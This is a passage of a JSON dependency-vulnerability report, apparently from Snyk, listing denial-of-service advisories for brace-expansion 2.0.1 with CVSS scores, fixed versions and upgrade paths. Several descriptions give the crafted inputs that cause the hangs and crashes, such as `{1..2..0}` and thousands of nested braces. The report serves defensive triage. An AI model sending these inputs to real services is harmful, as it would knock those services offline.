"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
